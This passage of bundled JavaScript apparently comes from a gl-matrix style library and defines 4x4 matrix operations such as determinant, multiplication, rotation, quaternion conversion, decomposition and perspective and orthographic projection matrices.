- a02 * a10; var b02 = a00 * a13 - a03 * a10; var b03 = a01 * a12 - a02 * a11; var b04 = a01 * a13 - a03 * a11; var b05 = a02 * a13 - a03 * a12; var b06 = a20 * a31 - a21 * a30; var b07 = a20 * a32 - a22 * a30; var b08 = a20 * a33 - a23 * a30; var b09 = a21 * a32 - a22 * a31; var b10 = a21 * a33 - a23 * a31; var b11 = a22 * a33 - a23 * a32; out[0] = a11 * b11 - a12 * b10 + a13 * b09; out[1] = a02 * b10 - a01 * b11 - a03 * b09; out[2] = a31 * b05 - a32 * b04 + a33 * b03; out[3] = a22 * b04 - a21 * b05 - a23 * b03; out[4] = a12 * b08 - a10 * b11 - a13 * b07; out[5] = a00 * b11 - a02 * b08 + a03 * b07; out[6] = a32 * b02 - a30 * b05 - a33 * b01; out[7] = a20 * b05 - a22 * b02 + a23 * b01; out[8] = a10 * b10 - a11 * b08 + a13 * b06; out[9] = a01 * b08 - a00 * b10 - a03 * b06; out[10] = a30 * b04 - a31 * b02 + a33 * b00; out[11] = a21 * b02 - a20 * b04 - a23 * b00; out[12] = a11 * b07 - a10 * b09 - a12 * b06; out[13] = a00 * b09 - a01 * b07 + a02 * b06; out[14] = a31 * b01 - a30 * b03 - a32 * b00; out[15] = a20 * b03 - a21 * b01 + a22 * b00; return out; } /** * Calculates the determinant of a mat4 * * @param {ReadonlyMat4} a the source matrix * @returns {Number} determinant of a */ function determinant(a) { var a00 = a[0], a01 = a[1], a02 = a[2], a03 = a[3]; var a10 = a[4], a11 = a[5], a12 = a[6], a13 = a[7]; var a20 = a[8], a21 = a[9], a22 = a[10], a23 = a[11]; var a30 = a[12], a31 = a[13], a32 = a[14], a33 = a[15]; var b0 = a00 * a11 - a01 * a10; var b1 = a00 * a12 - a02 * a10; var b2 = a01 * a12 - a02 * a11; var b3 = a20 * a31 - a21 * a30; var b4 = a20 * a32 - a22 * a30; var b5 = a21 * a32 - a22 * a31; var b6 = a00 * b5 - a01 * b4 + a02 * b3; var b7 = a10 * b5 - a11 * b4 + a12 * b3; var b8 = a20 * b2 - a21 * b1 + a22 * b0; var b9 = a30 * b2 - a31 * b1 + a32 * b0; // Calculate the determinant return a13 * b6 - a03 * b7 + a33 * b8 - a23 * b9; } /** * Multiplies two mat4s * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the first operand * @param {ReadonlyMat4} b the second operand * @returns {mat4} out */ function multiply$5(out, a, b) { var a00 = a[0], a01 = a[1], a02 = a[2], a03 = a[3]; var a10 = a[4], a11 = a[5], a12 = a[6], a13 = a[7]; var a20 = a[8], a21 = a[9], a22 = a[10], a23 = a[11]; var a30 = a[12], a31 = a[13], a32 = a[14], a33 = a[15]; // Cache only the current line of the second matrix var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3]; out[0] = b0 * a00 + b1 * a10 + b2 * a20 + b3 * a30; out[1] = b0 * a01 + b1 * a11 + b2 * a21 + b3 * a31; out[2] = b0 * a02 + b1 * a12 + b2 * a22 + b3 * a32; out[3] = b0 * a03 + b1 * a13 + b2 * a23 + b3 * a33; b0 = b[4]; b1 = b[5]; b2 = b[6]; b3 = b[7]; out[4] = b0 * a00 + b1 * a10 + b2 * a20 + b3 * a30; out[5] = b0 * a01 + b1 * a11 + b2 * a21 + b3 * a31; out[6] = b0 * a02 + b1 * a12 + b2 * a22 + b3 * a32; out[7] = b0 * a03 + b1 * a13 + b2 * a23 + b3 * a33; b0 = b[8]; b1 = b[9]; b2 = b[10]; b3 = b[11]; out[8] = b0 * a00 + b1 * a10 + b2 * a20 + b3 * a30; out[9] = b0 * a01 + b1 * a11 + b2 * a21 + b3 * a31; out[10] = b0 * a02 + b1 * a12 + b2 * a22 + b3 * a32; out[11] = b0 * a03 + b1 * a13 + b2 * a23 + b3 * a33; b0 = b[12]; b1 = b[13]; b2 = b[14]; b3 = b[15]; out[12] = b0 * a00 + b1 * a10 + b2 * a20 + b3 * a30; out[13] = b0 * a01 + b1 * a11 + b2 * a21 + b3 * a31; out[14] = b0 * a02 + b1 * a12 + b2 * a22 + b3 * a32; out[15] = b0 * a03 + b1 * a13 + b2 * a23 + b3 * a33; return out; } /** * Translate a mat4 by the given vector * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the matrix to translate * @param {ReadonlyVec3} v vector to translate by * @returns {mat4} out */ function translate$1(out, a, v) { var x = v[0], y = v[1], z = v[2]; var a00, a01, a02, a03; var a10, a11, a12, a13; var a20, a21, a22, a23; if (a === out) { out[12] = a[0] * x + a[4] * y + a[8] * z + a[12]; out[13] = a[1] * x + a[5] * y + a[9] * z + a[13]; out[14] = a[2] * x + a[6] * y + a[10] * z + a[14]; out[15] = a[3] * x + a[7] * y + a[11] * z + a[15]; } else { a00 = a[0]; a01 = a[1]; a02 = a[2]; a03 = a[3]; a10 = a[4]; a11 = a[5]; a12 = a[6]; a13 = a[7]; a20 = a[8]; a21 = a[9]; a22 = a[10]; a23 = a[11]; out[0] = a00; out[1] = a01; out[2] = a02; out[3] = a03; out[4] = a10; out[5] = a11; out[6] = a12; out[7] = a13; out[8] = a20; out[9] = a21; out[10] = a22; out[11] = a23; out[12] = a00 * x + a10 * y + a20 * z + a[12]; out[13] = a01 * x + a11 * y + a21 * z + a[13]; out[14] = a02 * x + a12 * y + a22 * z + a[14]; out[15] = a03 * x + a13 * y + a23 * z + a[15]; } return out; } /** * Scales the mat4 by the dimensions in the given vec3 not using vectorization * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the matrix to scale * @param {ReadonlyVec3} v the vec3 to scale the matrix by * @returns {mat4} out **/ function scale$5(out, a, v) { var x = v[0], y = v[1], z = v[2]; out[0] = a[0] * x; out[1] = a[1] * x; out[2] = a[2] * x; out[3] = a[3] * x; out[4] = a[4] * y; out[5] = a[5] * y; out[6] = a[6] * y; out[7] = a[7] * y; out[8] = a[8] * z; out[9] = a[9] * z; out[10] = a[10] * z; out[11] = a[11] * z; out[12] = a[12]; out[13] = a[13]; out[14] = a[14]; out[15] = a[15]; return out; } /** * Rotates a mat4 by the given angle around the given axis * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the matrix to rotate * @param {Number} rad the angle to rotate the matrix by * @param {ReadonlyVec3} axis the axis to rotate around * @returns {mat4} out */ function rotate$1(out, a, rad, axis) { var x = axis[0], y = axis[1], z = axis[2]; var len = Math.hypot(x, y, z); var s, c, t; var a00, a01, a02, a03; var a10, a11, a12, a13; var a20, a21, a22, a23; var b00, b01, b02; var b10, b11, b12; var b20, b21, b22; if (len < EPSILON) { return null; } len = 1 / len; x *= len; y *= len; z *= len; s = Math.sin(rad); c = Math.cos(rad); t = 1 - c; a00 = a[0]; a01 = a[1]; a02 = a[2]; a03 = a[3]; a10 = a[4]; a11 = a[5]; a12 = a[6]; a13 = a[7]; a20 = a[8]; a21 = a[9]; a22 = a[10]; a23 = a[11]; // Construct the elements of the rotation matrix b00 = x * x * t + c; b01 = y * x * t + z * s; b02 = z * x * t - y * s; b10 = x * y * t - z * s; b11 = y * y * t + c; b12 = z * y * t + x * s; b20 = x * z * t + y * s; b21 = y * z * t - x * s; b22 = z * z * t + c; // Perform rotation-specific matrix multiplication out[0] = a00 * b00 + a10 * b01 + a20 * b02; out[1] = a01 * b00 + a11 * b01 + a21 * b02; out[2] = a02 * b00 + a12 * b01 + a22 * b02; out[3] = a03 * b00 + a13 * b01 + a23 * b02; out[4] = a00 * b10 + a10 * b11 + a20 * b12; out[5] = a01 * b10 + a11 * b11 + a21 * b12; out[6] = a02 * b10 + a12 * b11 + a22 * b12; out[7] = a03 * b10 + a13 * b11 + a23 * b12; out[8] = a00 * b20 + a10 * b21 + a20 * b22; out[9] = a01 * b20 + a11 * b21 + a21 * b22; out[10] = a02 * b20 + a12 * b21 + a22 * b22; out[11] = a03 * b20 + a13 * b21 + a23 * b22; if (a !== out) { // If the source and destination differ, copy the unchanged last row out[12] = a[12]; out[13] = a[13]; out[14] = a[14]; out[15] = a[15]; } return out; } /** * Rotates a matrix by the given angle around the X axis * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the matrix to rotate * @param {Number} rad the angle to rotate the matrix by * @returns {mat4} out */ function rotateX$3(out, a, rad) { var s = Math.sin(rad); var c = Math.cos(rad); var a10 = a[4]; var a11 = a[5]; var a12 = a[6]; var a13 = a[7]; var a20 = a[8]; var a21 = a[9]; var a22 = a[10]; var a23 = a[11]; if (a !== out) { // If the source and destination differ, copy the unchanged rows out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[12] = a[12]; out[13] = a[13]; out[14] = a[14]; out[15] = a[15]; } // Perform axis-specific matrix multiplication out[4] = a10 * c + a20 * s; out[5] = a11 * c + a21 * s; out[6] = a12 * c + a22 * s; out[7] = a13 * c + a23 * s; out[8] = a20 * c - a10 * s; out[9] = a21 * c - a11 * s; out[10] = a22 * c - a12 * s; out[11] = a23 * c - a13 * s; return out; } /** * Rotates a matrix by the given angle around the Y axis * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the matrix to rotate * @param {Number} rad the angle to rotate the matrix by * @returns {mat4} out */ function rotateY$3(out, a, rad) { var s = Math.sin(rad); var c = Math.cos(rad); var a00 = a[0]; var a01 = a[1]; var a02 = a[2]; var a03 = a[3]; var a20 = a[8]; var a21 = a[9]; var a22 = a[10]; var a23 = a[11]; if (a !== out) { // If the source and destination differ, copy the unchanged rows out[4] = a[4]; out[5] = a[5]; out[6] = a[6]; out[7] = a[7]; out[12] = a[12]; out[13] = a[13]; out[14] = a[14]; out[15] = a[15]; } // Perform axis-specific matrix multiplication out[0] = a00 * c - a20 * s; out[1] = a01 * c - a21 * s; out[2] = a02 * c - a22 * s; out[3] = a03 * c - a23 * s; out[8] = a00 * s + a20 * c; out[9] = a01 * s + a21 * c; out[10] = a02 * s + a22 * c; out[11] = a03 * s + a23 * c; return out; } /** * Rotates a matrix by the given angle around the Z axis * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the matrix to rotate * @param {Number} rad the angle to rotate the matrix by * @returns {mat4} out */ function rotateZ$3(out, a, rad) { var s = Math.sin(rad); var c = Math.cos(rad); var a00 = a[0]; var a01 = a[1]; var a02 = a[2]; var a03 = a[3]; var a10 = a[4]; var a11 = a[5]; var a12 = a[6]; var a13 = a[7]; if (a !== out) { // If the source and destination differ, copy the unchanged last row out[8] = a[8]; out[9] = a[9]; out[10] = a[10]; out[11] = a[11]; out[12] = a[12]; out[13] = a[13]; out[14] = a[14]; out[15] = a[15]; } // Perform axis-specific matrix multiplication out[0] = a00 * c + a10 * s; out[1] = a01 * c + a11 * s; out[2] = a02 * c + a12 * s; out[3] = a03 * c + a13 * s; out[4] = a10 * c - a00 * s; out[5] = a11 * c - a01 * s; out[6] = a12 * c - a02 * s; out[7] = a13 * c - a03 * s; return out; } /** * Creates a matrix from a vector translation * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.translate(dest, dest, vec); * * @param {mat4} out mat4 receiving operation result * @param {ReadonlyVec3} v Translation vector * @returns {mat4} out */ function fromTranslation$1(out, v) { out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = 1; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[10] = 1; out[11] = 0; out[12] = v[0]; out[13] = v[1]; out[14] = v[2]; out[15] = 1; return out; } /** * Creates a matrix from a vector scaling * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.scale(dest, dest, vec); * * @param {mat4} out mat4 receiving operation result * @param {ReadonlyVec3} v Scaling vector * @returns {mat4} out */ function fromScaling(out, v) { out[0] = v[0]; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = v[1]; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[10] = v[2]; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; out[15] = 1; return out; } /** * Creates a matrix from a given angle around a given axis * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.rotate(dest, dest, rad, axis); * * @param {mat4} out mat4 receiving operation result * @param {Number} rad the angle to rotate the matrix by * @param {ReadonlyVec3} axis the axis to rotate around * @returns {mat4} out */ function fromRotation$1(out, rad, axis) { var x = axis[0], y = axis[1], z = axis[2]; var len = Math.hypot(x, y, z); var s, c, t; if (len < EPSILON) { return null; } len = 1 / len; x *= len; y *= len; z *= len; s = Math.sin(rad); c = Math.cos(rad); t = 1 - c; // Perform rotation-specific matrix multiplication out[0] = x * x * t + c; out[1] = y * x * t + z * s; out[2] = z * x * t - y * s; out[3] = 0; out[4] = x * y * t - z * s; out[5] = y * y * t + c; out[6] = z * y * t + x * s; out[7] = 0; out[8] = x * z * t + y * s; out[9] = y * z * t - x * s; out[10] = z * z * t + c; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; out[15] = 1; return out; } /** * Creates a matrix from the given angle around the X axis * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.rotateX(dest, dest, rad); * * @param {mat4} out mat4 receiving operation result * @param {Number} rad the angle to rotate the matrix by * @returns {mat4} out */ function fromXRotation(out, rad) { var s = Math.sin(rad); var c = Math.cos(rad); // Perform axis-specific matrix multiplication out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = c; out[6] = s; out[7] = 0; out[8] = 0; out[9] = -s; out[10] = c; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; out[15] = 1; return out; } /** * Creates a matrix from the given angle around the Y axis * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.rotateY(dest, dest, rad); * * @param {mat4} out mat4 receiving operation result * @param {Number} rad the angle to rotate the matrix by * @returns {mat4} out */ function fromYRotation(out, rad) { var s = Math.sin(rad); var c = Math.cos(rad); // Perform axis-specific matrix multiplication out[0] = c; out[1] = 0; out[2] = -s; out[3] = 0; out[4] = 0; out[5] = 1; out[6] = 0; out[7] = 0; out[8] = s; out[9] = 0; out[10] = c; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; out[15] = 1; return out; } /** * Creates a matrix from the given angle around the Z axis * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.rotateZ(dest, dest, rad); * * @param {mat4} out mat4 receiving operation result * @param {Number} rad the angle to rotate the matrix by * @returns {mat4} out */ function fromZRotation(out, rad) { var s = Math.sin(rad); var c = Math.cos(rad); // Perform axis-specific matrix multiplication out[0] = c; out[1] = s; out[2] = 0; out[3] = 0; out[4] = -s; out[5] = c; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[10] = 1; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; out[15] = 1; return out; } /** * Creates a matrix from a quaternion rotation and vector translation * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.translate(dest, vec); * let quatMat = mat4.create(); * quat4.toMat4(quat, quatMat); * mat4.multiply(dest, quatMat); * * @param {mat4} out mat4 receiving operation result * @param {quat4} q Rotation quaternion * @param {ReadonlyVec3} v Translation vector * @returns {mat4} out */ function fromRotationTranslation$1(out, q, v) { // Quaternion math var x = q[0], y = q[1], z = q[2], w = q[3]; var x2 = x + x; var y2 = y + y; var z2 = z + z; var xx = x * x2; var xy = x * y2; var xz = x * z2; var yy = y * y2; var yz = y * z2; var zz = z * z2; var wx = w * x2; var wy = w * y2; var wz = w * z2; out[0] = 1 - (yy + zz); out[1] = xy + wz; out[2] = xz - wy; out[3] = 0; out[4] = xy - wz; out[5] = 1 - (xx + zz); out[6] = yz + wx; out[7] = 0; out[8] = xz + wy; out[9] = yz - wx; out[10] = 1 - (xx + yy); out[11] = 0; out[12] = v[0]; out[13] = v[1]; out[14] = v[2]; out[15] = 1; return out; } /** * Creates a new mat4 from a dual quat. * * @param {mat4} out Matrix * @param {ReadonlyQuat2} a Dual Quaternion * @returns {mat4} mat4 receiving operation result */ function fromQuat2(out, a) { var translation = new ARRAY_TYPE(3); var bx = -a[0], by = -a[1], bz = -a[2], bw = a[3], ax = a[4], ay = a[5], az = a[6], aw = a[7]; var magnitude = bx * bx + by * by + bz * bz + bw * bw; //Only scale if it makes sense if (magnitude > 0) { translation[0] = (ax * bw + aw * bx + ay * bz - az * by) * 2 / magnitude; translation[1] = (ay * bw + aw * by + az * bx - ax * bz) * 2 / magnitude; translation[2] = (az * bw + aw * bz + ax * by - ay * bx) * 2 / magnitude; } else { translation[0] = (ax * bw + aw * bx + ay * bz - az * by) * 2; translation[1] = (ay * bw + aw * by + az * bx - ax * bz) * 2; translation[2] = (az * bw + aw * bz + ax * by - ay * bx) * 2; } fromRotationTranslation$1(out, a, translation); return out; } /** * Returns the translation vector component of a transformation * matrix. If a matrix is built with fromRotationTranslation, * the returned vector will be the same as the translation vector * originally supplied. * @param {vec3} out Vector to receive translation component * @param {ReadonlyMat4} mat Matrix to be decomposed (input) * @return {vec3} out */ function getTranslation$1(out, mat) { out[0] = mat[12]; out[1] = mat[13]; out[2] = mat[14]; return out; } /** * Returns the scaling factor component of a transformation * matrix. If a matrix is built with fromRotationTranslationScale * with a normalized Quaternion paramter, the returned vector will be * the same as the scaling vector * originally supplied. * @param {vec3} out Vector to receive scaling factor component * @param {ReadonlyMat4} mat Matrix to be decomposed (input) * @return {vec3} out */ function getScaling(out, mat) { var m11 = mat[0]; var m12 = mat[1]; var m13 = mat[2]; var m21 = mat[4]; var m22 = mat[5]; var m23 = mat[6]; var m31 = mat[8]; var m32 = mat[9]; var m33 = mat[10]; out[0] = Math.hypot(m11, m12, m13); out[1] = Math.hypot(m21, m22, m23); out[2] = Math.hypot(m31, m32, m33); return out; } /** * Returns a quaternion representing the rotational component * of a transformation matrix. If a matrix is built with * fromRotationTranslation, the returned quaternion will be the * same as the quaternion originally supplied. * @param {quat} out Quaternion to receive the rotation component * @param {ReadonlyMat4} mat Matrix to be decomposed (input) * @return {quat} out */ function getRotation(out, mat) { var scaling = new ARRAY_TYPE(3); getScaling(scaling, mat); var is1 = 1 / scaling[0]; var is2 = 1 / scaling[1]; var is3 = 1 / scaling[2]; var sm11 = mat[0] * is1; var sm12 = mat[1] * is2; var sm13 = mat[2] * is3; var sm21 = mat[4] * is1; var sm22 = mat[5] * is2; var sm23 = mat[6] * is3; var sm31 = mat[8] * is1; var sm32 = mat[9] * is2; var sm33 = mat[10] * is3; var trace = sm11 + sm22 + sm33; var S = 0; if (trace > 0) { S = Math.sqrt(trace + 1.0) * 2; out[3] = 0.25 * S; out[0] = (sm23 - sm32) / S; out[1] = (sm31 - sm13) / S; out[2] = (sm12 - sm21) / S; } else if (sm11 > sm22 && sm11 > sm33) { S = Math.sqrt(1.0 + sm11 - sm22 - sm33) * 2; out[3] = (sm23 - sm32) / S; out[0] = 0.25 * S; out[1] = (sm12 + sm21) / S; out[2] = (sm31 + sm13) / S; } else if (sm22 > sm33) { S = Math.sqrt(1.0 + sm22 - sm11 - sm33) * 2; out[3] = (sm31 - sm13) / S; out[0] = (sm12 + sm21) / S; out[1] = 0.25 * S; out[2] = (sm23 + sm32) / S; } else { S = Math.sqrt(1.0 + sm33 - sm11 - sm22) * 2; out[3] = (sm12 - sm21) / S; out[0] = (sm31 + sm13) / S; out[1] = (sm23 + sm32) / S; out[2] = 0.25 * S; } return out; } /** * Decomposes a transformation matrix into its rotation, translation * and scale components. Returns only the rotation component * @param {quat} out_r Quaternion to receive the rotation component * @param {vec3} out_t Vector to receive the translation vector * @param {vec3} out_s Vector to receive the scaling factor * @param {ReadonlyMat4} mat Matrix to be decomposed (input) * @returns {quat} out_r */ function decompose(out_r, out_t, out_s, mat) { out_t[0] = mat[12]; out_t[1] = mat[13]; out_t[2] = mat[14]; var m11 = mat[0]; var m12 = mat[1]; var m13 = mat[2]; var m21 = mat[4]; var m22 = mat[5]; var m23 = mat[6]; var m31 = mat[8]; var m32 = mat[9]; var m33 = mat[10]; out_s[0] = Math.hypot(m11, m12, m13); out_s[1] = Math.hypot(m21, m22, m23); out_s[2] = Math.hypot(m31, m32, m33); var is1 = 1 / out_s[0]; var is2 = 1 / out_s[1]; var is3 = 1 / out_s[2]; var sm11 = m11 * is1; var sm12 = m12 * is2; var sm13 = m13 * is3; var sm21 = m21 * is1; var sm22 = m22 * is2; var sm23 = m23 * is3; var sm31 = m31 * is1; var sm32 = m32 * is2; var sm33 = m33 * is3; var trace = sm11 + sm22 + sm33; var S = 0; if (trace > 0) { S = Math.sqrt(trace + 1.0) * 2; out_r[3] = 0.25 * S; out_r[0] = (sm23 - sm32) / S; out_r[1] = (sm31 - sm13) / S; out_r[2] = (sm12 - sm21) / S; } else if (sm11 > sm22 && sm11 > sm33) { S = Math.sqrt(1.0 + sm11 - sm22 - sm33) * 2; out_r[3] = (sm23 - sm32) / S; out_r[0] = 0.25 * S; out_r[1] = (sm12 + sm21) / S; out_r[2] = (sm31 + sm13) / S; } else if (sm22 > sm33) { S = Math.sqrt(1.0 + sm22 - sm11 - sm33) * 2; out_r[3] = (sm31 - sm13) / S; out_r[0] = (sm12 + sm21) / S; out_r[1] = 0.25 * S; out_r[2] = (sm23 + sm32) / S; } else { S = Math.sqrt(1.0 + sm33 - sm11 - sm22) * 2; out_r[3] = (sm12 - sm21) / S; out_r[0] = (sm31 + sm13) / S; out_r[1] = (sm23 + sm32) / S; out_r[2] = 0.25 * S; } return out_r; } /** * Creates a matrix from a quaternion rotation, vector translation and vector scale * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.translate(dest, vec); * let quatMat = mat4.create(); * quat4.toMat4(quat, quatMat); * mat4.multiply(dest, quatMat); * mat4.scale(dest, scale) * * @param {mat4} out mat4 receiving operation result * @param {quat4} q Rotation quaternion * @param {ReadonlyVec3} v Translation vector * @param {ReadonlyVec3} s Scaling vector * @returns {mat4} out */ function fromRotationTranslationScale(out, q, v, s) { // Quaternion math var x = q[0], y = q[1], z = q[2], w = q[3]; var x2 = x + x; var y2 = y + y; var z2 = z + z; var xx = x * x2; var xy = x * y2; var xz = x * z2; var yy = y * y2; var yz = y * z2; var zz = z * z2; var wx = w * x2; var wy = w * y2; var wz = w * z2; var sx = s[0]; var sy = s[1]; var sz = s[2]; out[0] = (1 - (yy + zz)) * sx; out[1] = (xy + wz) * sx; out[2] = (xz - wy) * sx; out[3] = 0; out[4] = (xy - wz) * sy; out[5] = (1 - (xx + zz)) * sy; out[6] = (yz + wx) * sy; out[7] = 0; out[8] = (xz + wy) * sz; out[9] = (yz - wx) * sz; out[10] = (1 - (xx + yy)) * sz; out[11] = 0; out[12] = v[0]; out[13] = v[1]; out[14] = v[2]; out[15] = 1; return out; } /** * Creates a matrix from a quaternion rotation, vector translation and vector scale, rotating and scaling around the given origin * This is equivalent to (but much faster than): * * mat4.identity(dest); * mat4.translate(dest, vec); * mat4.translate(dest, origin); * let quatMat = mat4.create(); * quat4.toMat4(quat, quatMat); * mat4.multiply(dest, quatMat); * mat4.scale(dest, scale) * mat4.translate(dest, negativeOrigin); * * @param {mat4} out mat4 receiving operation result * @param {quat4} q Rotation quaternion * @param {ReadonlyVec3} v Translation vector * @param {ReadonlyVec3} s Scaling vector * @param {ReadonlyVec3} o The origin vector around which to scale and rotate * @returns {mat4} out */ function fromRotationTranslationScaleOrigin(out, q, v, s, o) { // Quaternion math var x = q[0], y = q[1], z = q[2], w = q[3]; var x2 = x + x; var y2 = y + y; var z2 = z + z; var xx = x * x2; var xy = x * y2; var xz = x * z2; var yy = y * y2; var yz = y * z2; var zz = z * z2; var wx = w * x2; var wy = w * y2; var wz = w * z2; var sx = s[0]; var sy = s[1]; var sz = s[2]; var ox = o[0]; var oy = o[1]; var oz = o[2]; var out0 = (1 - (yy + zz)) * sx; var out1 = (xy + wz) * sx; var out2 = (xz - wy) * sx; var out4 = (xy - wz) * sy; var out5 = (1 - (xx + zz)) * sy; var out6 = (yz + wx) * sy; var out8 = (xz + wy) * sz; var out9 = (yz - wx) * sz; var out10 = (1 - (xx + yy)) * sz; out[0] = out0; out[1] = out1; out[2] = out2; out[3] = 0; out[4] = out4; out[5] = out5; out[6] = out6; out[7] = 0; out[8] = out8; out[9] = out9; out[10] = out10; out[11] = 0; out[12] = v[0] + ox - (out0 * ox + out4 * oy + out8 * oz); out[13] = v[1] + oy - (out1 * ox + out5 * oy + out9 * oz); out[14] = v[2] + oz - (out2 * ox + out6 * oy + out10 * oz); out[15] = 1; return out; } /** * Calculates a 4x4 matrix from the given quaternion * * @param {mat4} out mat4 receiving operation result * @param {ReadonlyQuat} q Quaternion to create matrix from * * @returns {mat4} out */ function fromQuat(out, q) { var x = q[0], y = q[1], z = q[2], w = q[3]; var x2 = x + x; var y2 = y + y; var z2 = z + z; var xx = x * x2; var yx = y * x2; var yy = y * y2; var zx = z * x2; var zy = z * y2; var zz = z * z2; var wx = w * x2; var wy = w * y2; var wz = w * z2; out[0] = 1 - yy - zz; out[1] = yx + wz; out[2] = zx - wy; out[3] = 0; out[4] = yx - wz; out[5] = 1 - xx - zz; out[6] = zy + wx; out[7] = 0; out[8] = zx + wy; out[9] = zy - wx; out[10] = 1 - xx - yy; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; out[15] = 1; return out; } /** * Generates a frustum matrix with the given bounds * * @param {mat4} out mat4 frustum matrix will be written into * @param {Number} left Left bound of the frustum * @param {Number} right Right bound of the frustum * @param {Number} bottom Bottom bound of the frustum * @param {Number} top Top bound of the frustum * @param {Number} near Near bound of the frustum * @param {Number} far Far bound of the frustum * @returns {mat4} out */ function frustum(out, left, right, bottom, top, near, far) { var rl = 1 / (right - left); var tb = 1 / (top - bottom); var nf = 1 / (near - far); out[0] = near * 2 * rl; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = near * 2 * tb; out[6] = 0; out[7] = 0; out[8] = (right + left) * rl; out[9] = (top + bottom) * tb; out[10] = (far + near) * nf; out[11] = -1; out[12] = 0; out[13] = 0; out[14] = far * near * 2 * nf; out[15] = 0; return out; } /** * Generates a perspective projection matrix with the given bounds. * The near/far clip planes correspond to a normalized device coordinate Z range of [-1, 1], * which matches WebGL/OpenGL's clip volume. * Passing null/undefined/no value for far will generate infinite projection matrix. * * @param {mat4} out mat4 frustum matrix will be written into * @param {number} fovy Vertical field of view in radians * @param {number} aspect Aspect ratio. typically viewport width/height * @param {number} near Near bound of the frustum * @param {number} far Far bound of the frustum, can be null or Infinity * @returns {mat4} out */ function perspectiveNO(out, fovy, aspect, near, far) { var f = 1.0 / Math.tan(fovy / 2); out[0] = f / aspect; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = f; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[11] = -1; out[12] = 0; out[13] = 0; out[15] = 0; if (far != null && far !== Infinity) { var nf = 1 / (near - far); out[10] = (far + near) * nf; out[14] = 2 * far * near * nf; } else { out[10] = -1; out[14] = -2 * near; } return out; } /** * Alias for {@link mat4.perspectiveNO} * @function */ var perspective = perspectiveNO; /** * Generates a perspective projection matrix suitable for WebGPU with the given bounds. * The near/far clip planes correspond to a normalized device coordinate Z range of [0, 1], * which matches WebGPU/Vulkan/DirectX/Metal's clip volume. * Passing null/undefined/no value for far will generate infinite projection matrix. * * @param {mat4} out mat4 frustum matrix will be written into * @param {number} fovy Vertical field of view in radians * @param {number} aspect Aspect ratio. typically viewport width/height * @param {number} near Near bound of the frustum * @param {number} far Far bound of the frustum, can be null or Infinity * @returns {mat4} out */ function perspectiveZO(out, fovy, aspect, near, far) { var f = 1.0 / Math.tan(fovy / 2); out[0] = f / aspect; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = f; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[11] = -1; out[12] = 0; out[13] = 0; out[15] = 0; if (far != null && far !== Infinity) { var nf = 1 / (near - far); out[10] = far * nf; out[14] = far * near * nf; } else { out[10] = -1; out[14] = -near; } return out; } /** * Generates a perspective projection matrix with the given field of view. * This is primarily useful for generating projection matrices to be used * with the still experiemental WebVR API. * * @param {mat4} out mat4 frustum matrix will be written into * @param {Object} fov Object containing the following values: upDegrees, downDegrees, leftDegrees, rightDegrees * @param {number} near Near bound of the frustum * @param {number} far Far bound of the frustum * @returns {mat4} out */ function perspectiveFromFieldOfView(out, fov, near, far) { var upTan = Math.tan(fov.upDegrees * Math.PI / 180.0); var downTan = Math.tan(fov.downDegrees * Math.PI / 180.0); var leftTan = Math.tan(fov.leftDegrees * Math.PI / 180.0); var rightTan = Math.tan(fov.rightDegrees * Math.PI / 180.0); var xScale = 2.0 / (leftTan + rightTan); var yScale = 2.0 / (upTan + downTan); out[0] = xScale; out[1] = 0.0; out[2] = 0.0; out[3] = 0.0; out[4] = 0.0; out[5] = yScale; out[6] = 0.0; out[7] = 0.0; out[8] = -((leftTan - rightTan) * xScale * 0.5); out[9] = (upTan - downTan) * yScale * 0.5; out[10] = far / (near - far); out[11] = -1.0; out[12] = 0.0; out[13] = 0.0; out[14] = far * near / (near - far); out[15] = 0.0; return out; } /** * Generates a orthogonal projection matrix with the given bounds. * The near/far clip planes correspond to a normalized device coordinate Z range of [-1, 1], * which matches WebGL/OpenGL's clip volume. * * @param {mat4} out mat4 frustum matrix will be written into * @param {number} left Left bound of the frustum * @param {number} right Right bound of the frustum * @param {number} bottom Bottom bound of the frustum * @param {number} top Top bound of the frustum * @param {number} near Near bound of the frustum * @param {number} far Far bound of the frustum * @returns {mat4} out */ function orthoNO(out, left, right, bottom, top, near, far) { var lr = 1 / (left - right); var bt = 1 / (bottom - top); var nf = 1 / (near - far); out[0] = -2 * lr; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = -2 * bt; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[10] = 2 * nf; out[11] = 0; out[12] = (left + right) * 